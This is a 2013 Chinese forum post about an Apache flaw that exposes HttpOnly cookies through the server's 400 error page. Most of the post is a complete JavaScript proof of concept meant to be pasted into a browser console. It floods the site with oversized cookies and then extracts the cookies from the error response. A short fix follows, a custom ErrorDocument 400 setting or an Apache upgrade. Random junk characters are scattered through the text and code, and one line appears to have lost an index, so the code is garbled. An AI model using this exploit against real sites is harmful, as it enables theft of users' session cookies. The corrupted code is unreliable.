找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2589|回复: 0
打印 上一主题 下一主题

Apache HttpOnly Cookie XSS跨站漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-19 19:15:43 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
很多程序以及一些商业或者成熟开源的cms文章系统为了防止xss盗取用户cookie的问题,一般都采用给cookie加上httponly的属性,来禁止直接使用js得到用户的cookie,从而降低xss的危害,而这个问题刚好可以用来绕过cookie的这个httponly的属性。) ~5 W4 ~% C# s. \
" ^' B3 a8 o! e3 I# G
用chrome打开一个站点,F12打开开发者工具,找到console输入如下代码并回车:
- I* i1 Z: e' T0 R5 ^
& s, Y; F8 W  P: c( O# ?7 F
) x6 g1 z( `' u* s// http://www.exploit-db.com/exploits/18442/4 ?6 r( ]2 M$ Z4 i6 ~% L5 J, G- v
function setCookies (good) {
: S/ K- g5 [5 g8 r- Q// Construct string for cookie value
  u3 y, B  T+ q0 Z( D0 _var str = "";# F, D' t% j0 d1 @
for (var i=0; i< 819; i++) {3 M5 @) ^" D" ]( G; k6 q
str += "x";5 ?: B$ K. \7 |% V" j5 C4 K
}
* Q. b" f9 _# x9 _) Q/ ~// Set cookies
  Y2 G. @& s8 V1 S! g3 ^$ k8 Mfor (i = 0; i < 10; i++) {/ G. \7 [# ]  d0 D  o2 W
// Expire evil cookie
$ f3 j, i  F# vif (good) {% ?$ `! |5 ]. Z, g, o$ M
var cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).toUTCString()+"; path=/;";
7 h4 n5 A# p/ o) f" {}
! i# r9 Y0 k% e4 l// Set evil cookie* I( s5 Y2 \' i9 `9 c4 }. e. k5 V
else {' d1 v/ Z4 y# W2 i
var cookie = "xss"+i+"="+str+";path=/";  o) G# o7 q- {
}) K. d& |. T0 ~! S% g
document.cookie = cookie;
; J- G3 Q! |5 |) K  F}: M' j$ k( @5 {+ Q' Z8 P
}
$ A1 F" Y& I  R7 D  dfunction makeRequest() {+ H& w6 F& o% v; k/ l5 R# J
setCookies();$ f8 \7 C' P4 ~
function parseCookies () {
: [2 X+ ]* t. j  I$ {  N5 L- zvar cookie_dict = {};  q# q! t# ?# r: @. l2 u- c
// Only react on 400 status
$ ]% C7 W/ h* v% ^# g( Dif (xhr.readyState === 4 && xhr.status === 400) {  F; t! D* S$ N% [7 X5 l
// Replace newlines and match <pre> content
5 m/ k9 y; H% |- F$ Lvar content = xhr.responseText.replace(/\r|\n/g,'').match(/<pre>(.+)<\/pre>/);
5 w/ y) h. k& v5 N, s! m4 rif (content.length) {0 \) }6 w4 R; b  I5 ~3 G/ U
// Remove Cookie: prefix% j7 G3 ]  S1 x* d9 V7 R
content = content[1].replace("Cookie: ", "");
2 P! ]3 _  ?4 s2 w$ W( evar cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);2 w, w7 X2 q  n2 Q! B
// Add cookies to object* q5 \! R% @( P% V0 Q/ P! o8 d' Z
for (var i=0; i<cookies.length; i++) {: s, u. O0 Y( `; P2 c
var s_c = cookies.split('=',2);5 y0 d/ T& k9 B6 V6 n2 _4 x+ W: l$ H
cookie_dict[s_c[0]] = s_c[1];
- d$ d' q% _, A6 N, e  p1 i# D}' N9 @9 ]6 Q# \  s6 w! g+ ?
}1 u. P5 t% I% J0 p# ]5 M; V6 e
// Unset malicious cookies
# n5 q6 ?5 G/ m- |5 e2 nsetCookies(true);6 g0 g# V/ b. e
alert(JSON.stringify(cookie_dict));( H1 Z8 E  _9 k. J  J/ U
}4 _' p# O: y( l0 o. u6 ~: ?
}+ j5 {9 I; L* H0 Q* f: z+ [
// Make XHR request9 H! H2 L0 G0 O3 P
var xhr = new XMLHttpRequest();& e+ i4 K$ e) G! K1 I+ O
xhr.onreadystatechange = parseCookies;
3 y2 l# A/ \0 _' J$ m: M# A; kxhr.open("GET", "/", true);
3 I# Z6 k4 ]8 W8 x8 T8 nxhr.send(null);
6 S! I$ k$ i7 e1 ~. h, x}
. [0 @* G* ^7 L( T# omakeRequest();
  b, q9 Z" P2 G& B$ R# G0 I4 ^! u/ \) x1 c; A
你就能看见华丽丽的400错误包含着cookie信息。4 y, B& U' [% `% n9 \

* E8 n/ S2 O! r+ z5 P3 }  b* n下载地址:https://gist.github.com/pilate/1955a1c28324d4724b7b/download#
. k$ U* I# y) s1 s6 f6 B: K0 ~+ ^! w! b5 @/ M7 A- C& O  t
修复方案:
" Y# ~, g3 f/ G
' V/ U  _7 I; n0 \3 x7 lApache官方提供4种错误处理方式(http://httpd.apache.org/docs/2.0/mod/core.html#errordocument),如下/ k/ e7 y! D" T0 S# w* i8 B" v: R! `8 S

" {' L( c  C' \4 w; t$ B6 r# IIn the event of a problem or error, Apachecan be configured to do one of four things,( v9 N) e5 K! M& O7 S

* t; @6 ?/ Z* ~8 V1. output asimple hardcoded error message输出一个简单生硬的错误代码信息
& y+ `; l; {! N& Y! X' I$ w; l2. output acustomized message输出一段信息/ E9 a0 N# |) o  `7 Z- g
3. redirect to alocal URL-path to handle the problem/error转向一个本地的自定义页面 9 {2 i* v: e( `/ b5 J) }
4. redirect to an external URL to handle theproblem/error转向一个外部URL
0 S- g( {: w. v0 i) ?! n! \
1 t% f/ V2 {4 }& s; C经测试,对于400错误只有方法2有效,返回包不会再包含cookie内容/ l3 u5 i, E5 e: E: D
% N* P- Y% y  \" F3 m
Apache配置:
9 _& L1 g4 n& _% a; v* d
6 `- g6 n5 C9 ~+ i" zErrorDocument400 " security test"9 V  Y3 T; [/ T0 a7 e% s! D* |7 L1 A
: K0 Y6 B) L6 o
当然,升级apache到最新也可:)。
1 g. r( i0 K$ Z; L9 Z3 R: J
7 ?( Q; G$ h3 [- R0 K参考:http://httpd.apache.org/security/vulnerabilities_22.html* q; A$ g1 {- X% Q

1 ?3 \1 E5 k, Y# L& e1 t
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表